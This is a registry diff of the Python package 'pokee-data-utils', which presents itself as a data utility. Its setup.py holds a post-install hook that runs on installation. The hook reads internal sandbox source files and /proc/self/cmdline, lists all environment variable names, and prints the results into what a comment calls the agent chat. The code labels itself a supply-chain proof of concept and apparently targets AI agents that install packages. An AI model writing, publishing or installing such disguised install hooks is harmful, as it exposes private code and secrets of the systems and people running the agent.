pokee-data-utils 1.0.0__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,3 @@
1
+ Metadata-Version: 2.4
2
+ Name: pokee-data-utils
3
+ Version: 1.0.0
@@ -0,0 +1,3 @@
1
+ Metadata-Version: 2.4
2
+ Name: pokee-data-utils
3
+ Version: 1.0.0
@@ -0,0 +1,6 @@
1
+ setup.py
2
+ pokee_data_utils.egg-info/PKG-INFO
3
+ pokee_data_utils.egg-info/SOURCES.txt
4
+ pokee_data_utils.egg-info/dependency_links.txt
5
+ pokee_data_utils.egg-info/top_level.txt
6
+ pokee_poc/__init__.py
@@ -0,0 +1,4 @@
1
+ [egg_info]
2
+ tag_build =
3
+ tag_date = 0
4
+
@@ -0,0 +1,42 @@
1
+ from setuptools import setup
2
+ from setuptools.command.install import install
3
+ import os, socket, json
4
+
5
+ class PostInstall(install):
6
+ def run(self):
7
+ install.run(self)
8
+
9
+ proof = {
10
+ "uid": os.getuid(),
11
+ "hostname": socket.gethostname(),
12
+ "cwd": os.getcwd(),
13
+ "internal_files_accessible": {}
14
+ }
15
+
16
+ # Read files we already confirmed are accessible
17
+ for path in [
18
+ "/sandbox-app/ws_proxy.py",
19
+ "/sandbox-app/ws_proxy_modules/session_store.py",
20
+ "/proc/self/cmdline",
21
+ ]:
22
+ try:
23
+ proof["internal_files_accessible"][path] = open(path).read()[:300]
24
+ except Exception as e:
25
+ proof["internal_files_accessible"][path] = f"ERROR: {e}"
26
+
27
+ # Show env var NAMES (not values) — proves what secrets exist
28
+ proof["env_var_names"] = [k for k in os.environ.keys()]
29
+
30
+ # Print to stdout — visible directly in agent chat
31
+ output = json.dumps(proof, indent=2)
32
+ print("\n[SUPPLY CHAIN POC OUTPUT]\n" + output)
33
+
34
+ # Write local proof file
35
+ open("/tmp/sc_critical_poc.json", "w").write(output)
36
+
37
+ setup(
38
+ name='pokee-data-utils',
39
+ version='1.0.0',
40
+ packages=['pokee_poc'],
41
+ cmdclass={'install': PostInstall},
42
+ )